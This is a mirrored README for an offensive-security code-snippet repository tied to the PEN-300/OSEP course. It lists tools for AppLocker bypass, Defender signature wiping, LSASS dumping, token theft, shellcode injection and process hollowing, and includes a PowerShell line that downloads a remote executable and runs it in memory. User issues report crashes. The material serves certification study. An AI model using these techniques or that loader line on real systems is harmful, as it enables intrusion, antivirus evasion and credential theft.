Code Monkey home page Code Monkey logo

osep-code-snippets's Introduction

OSEP Code Snippets

Code examples are provided as-is, without any form of warranty. Based on Offensive Security's PEN-300 course.

Classes and methods are public, so most binaries should allow for reflective loading as below.

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())

Contents

Snippet Name Description
AppLocker Bypass PowerShell Runspace (C#) Base binary for an applocker bypass using a combination of CertUtil, BitsAdmin, and InstallUtil. See README.md for details.
Fileless Lateral Movement (C#) Wipes Windows Defender signatures on the remote host and uses a PSExec-like method (except using an existing process) to achieve lateral movement. Takes arguments for the target, the target service, and the target binary to run. Note that a non-critical service should be chosen, such as SensorService.
Linux Shellcode Encoder (Python) Utility scripts to encode C# payloads from Linux, either ingesting a raw shellcode payload (.bin), or automatically feeding from 'msfvenom'. Supports XOR and ROT encoding with an arbitrary key, and prints the decoding function. Can be used to replace the C# ROT/XOR encoder scripts.
Linux Shellcode Loaders (C) Various C-based shellcode loaders, including base binaries for library hijacking.
MiniDump (C# & PS1) A simple binary to Dump LSASS to C:\Windows\Tasks\lsass.dmp. Also provided as native PowerShell script.
MSSQL (C#) An example binary that includes a variety of discussed MSSQL interactions. Change the code to include only what you need.
PrintSpoofer.NET (C#) Steals the token of the incoming authentication forced with the PrintSpooler exploit, and use that token to run a given binary. Modified to not require an interactive logon session. Takes arguments for the pipe name and binary to run.
ROT Shellcode Encoder (C#) A simple binary to apply state-of-the-art ROT encoding to obfuscate the shellcode. It takes an argument for the number of rotations.
Sections Shellcode Process Injector (C#) Injects and runs shellcode using NtCreateSection, NtMapViewOfSection, NtUnMapViewOfsection and NtClose instead of the "standard" method.
Shellcode Process Hollowing (C#) Hollows a svchost process and runs the shellcode from there. Scores 0/68 on VirusTotal at the time of writing.
Shellcode Process Injector (C# & PS1) Simple shellcode runner that applies process injection. Accepts an argument for the process to inject into. If no argument is given, it attempts to pick a suitable process based on privilege level. Also provided as native PowerShell script (though it is a bit simpler).
Simple Shellcode Runner (C# & PS1 & VBA) The simplest of shellcode runners. Also provided as native PowerShell and VBA scripts.
XOR Shellcode Encoder (C#) A simple binary to apply state-of-the-art XOR encoding to obfuscate the shellcode.

osep-code-snippets's People

Contributors

chvancooten avatar pal1sec avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

osep-code-snippets's Issues

Process Hollowing Issues

I followed the instructions for the process hollowing code present in this repo, but when triggering my malware, I get the following error:

.\meter.hollow.exe                                                                                 in pwsh at 00:57:21
Started 'svchost.exe' in a suspended state with PID 31644. Success: True.
Got process information and located PEB address of process at 0x866010. Success: True.
DEBUG: Executable base address: 0x720000.
DEBUG: e_lfanew offset: 0x7204c8.
DEBUG: RVA offset: 0x7204f0.

Unhandled Exception: System.ArgumentOutOfRangeException: Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: startIndex
   at System.ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument argument, ExceptionResource resource)
   at System.BitConverter.ToUInt32(Byte[] value, Int32 startIndex)
   at ProcessHollowing.Program.Main(String[] args)

Any help would be welcome!

Linux SimpleShellcodeLoader.c Segfault

Hi there,

while studying for OSEP I stumbled across your SimpleShellcodeLoader for Linux and gave it a shot. Unfortunately running it causes a Segfault on my end and this page explains why I guess. The compiler flag -execstack didnt work on my client (current Kali build). In the second part of his blog he shows how to fix those issues, but the code will differ from your "simpler" version (basically easy copy paste, I tested it and it works really good). Just wanted to provide the info in case someone else gets stuck here :)

Shellcode Process Hollowing Issue

Hello! Thank you for posting the code snippets. They are a great learning resource. The project builds successfully however I get the following error after running the executable and after the DEBUG: RVA offset value is successfully displayed in the console.

Unhandled Exception: System.ArgumentOutOfRangeException: Index was out of range. Must be non-negative and less than the size of the collection.
Parameter name: startIndex
at System.ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument argument, ExceptionResource resource)
at System.BitConverter.ToUInt32(Byte[] value, Int32 startIndex)
at ProcessHollowing.Program.Main(String[] args)

Based on what I can see, the UInt32 Offset value (under section 4) must be returning a 0 value and I am not sure why? Any thoughts on what I might be missing? Thank you in advance.

gitissue

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.